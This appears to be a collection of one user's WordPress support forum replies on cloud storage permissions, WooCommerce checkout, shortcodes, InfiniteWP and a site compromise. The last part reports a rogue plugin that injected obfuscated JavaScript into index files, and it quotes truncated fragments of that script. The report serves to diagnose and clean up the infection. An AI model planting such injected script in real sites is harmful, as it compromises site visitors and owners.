Frank Gresslin

@studiocassette, this worked indeed!! Thank You!

@OneClickAccessibility?

Problem solved: When setting up a bucket on GCS there is an option to choose between uniform and fine-grained access. After switching to fine-grained access and adding additional permissions manually (e.g. Storage Object Admin and others shown in the offload instructions) everything works fine.

I had the same issue. Deleting the WP-Invoice plugin and reinstalling it did the trick.

I had the same issue. Deleting the WP invoice plugin and reinstalling it did the trick.

Update,

I just found the answer to my question.

The problem is that WooCommerce Subscription ignores the Guest Checkout setting

https://docs.woocommerce.com/document/subscriptions/faq/?_ga=2.263821964.1879872232.1515154285-402336465.1515154285#section-6

However, when I enable “Enable customer registration on the “Checkout” page. ” in the “Account” settings, it actually brings up a checkout page where customers can register for an account while checking out, which solves the problem.

Hi there,

Same issue here – this is what I found: WooCommerce Subscription ignores the Guest
Checkout setting

https://docs.woocommerce.com/document/subscriptions/faq/?_ga=2.263821964.1879872232.1515154285-402336465.1515154285#section-6

However, when I enable “Enable customer registration on the “Checkout” page. ” in the “Account” settings, it actually brings up a checkout page where customers can register for an account while checking out, which makes sense.

Hi Barry,

Thanks for your response. Just to give you a bit more info – I am using a Download Monitor shortcode inside a TablePress table and for some reason the quote marks inside the Download Monitor shortcode where double quotes. When I changed the quote marks inside the shortcode to single quotes, the download links worked again. So not sure if TablePress made changes and converted my original code to double quotes, or if you made changes to now recognize only single quotes. But since the error was noticed only a few days after your update to 1.9.0 I assume the change must have been made at your end.

Thanks
Frank

p.s. here is the code that broke before I changed it to single quotes

<a href="[download_data id="118" data="download_link"]" target="_blank" class="btn">download</a>

@OmegaSupreme Thanks! But it was not the WordPress Plugin I had issues with but IWP itself. It seems that The IWP Admin Panel does not run on Nginx. I only got IWP to work after “downgrading” to Apache again.

Thanks, but the problem here is with installing InfiniteWP itself – not with the plugin.

Either log onto your web server with FTP and remove the Better WP security plugin from the ‘wp-content > plugin’ folder (which will disable it – you can then log in and re-install it). Or if you have not been added to the banned IP list, just wait for 15 minutes until you are no longer banned.

Here are 2 screenshots I received:

Screenshot 1
Screenshot 2

Thanks!

Had the same issue several times. What solved it was simply reinstalling wordpress (from Dashboard > Updates > Re-Install Now). This is obviously just cosmetics. Would be good if the underlying bug in the plugin could be solved.

Update & summary of above:

The infected index.php and index.htm(l) files where in my case:

root/mysite/index.php
root/mysite/wp-admin/index.php
root/mysite/wp-content/index.php
root/index.html
root/2ndSite/index.html
root/3rdSite/index.html

Malicious JavaScript code that starts like this …

<script>c=3-1;i=-1-1+c;if(parseInt(“0″+”1″+”2″+”3”)===83)try{Boolean() …

was inserted at the top of all of these files.

Only after removing the “wordpress-remove-version.1.0” and “ToolsPack” plugins did the modification of index files stop.

“wordpress-remove-version.1.0” is available for installation from the WP Admin plugin page. “ToolsPack” seems to be created automatically by “wordpress-remove-version” and the origin of modification of index files every hour.

Same experience here as adebaby

One of my WordPress sites was accessible to a friend of mine who must have installed additional plugins.

There where 2 plugins that I had not installed:

limit-login-attempts
wordpress-remove-version.1.0

‘Limit login attempts’ seems to be genuine but the “wordpress remove version” plugin seems to be creating the ‘ToolsPack’plugin that adebaby mentioned above. (the ‘wordpress remove version’ plugin has some very suspicious code in the config.php and also has a ‘fwrite’ command that writes the ‘base64_decode’ statement found in ToolsPack)

As adebaby writes, this ToolsPack.php file was requested almost every hour from IP addresses in the 83.69.224 range – which are russian ip addresses.

Also as mentioned before, the toolpack or ‘wordpress remove version’ must have injected code in various index.html and index.php files. In my case all index.html and index.php files in my top level folders where replaced/modified with malicious JavaScript code – also mentioned above – looks like this

<script>c=3-1;i=-1-1+c;if(parseInt(“0″+”1″+”2″+”3”)===83)try{Boolean()[“prototype”].q}catch(egewgsd){if(window.document)f=[‘-32i-32

but quite a bit longer.

Initially I deleted/cleaned all infected index files but I noticed that after a while all cleaned index files where again replaced with malicious code. That’s when I started looking into my server access logs and found the hourly requests to the ToolsPack.php file. After deleting the ToolsPack and wordpress-remove-version plugins all index files are now OK and are not replaced any longer.

Related or not? While looking through my server logs I also noticed that the wordpress site that was infected also received almost hourly search requests from https://yandex.ru/yandsearch?text=nameofmydomain.com from IP addresses like 95.24.36.110 and 95.27.60.40

A second small static html site on the same server where the index.html file got replaced, also received regular traffic from various Russian websites of questionable nature. So it seems that the Toolpack issue, and the traffic to the index files that contained the malicious code are related.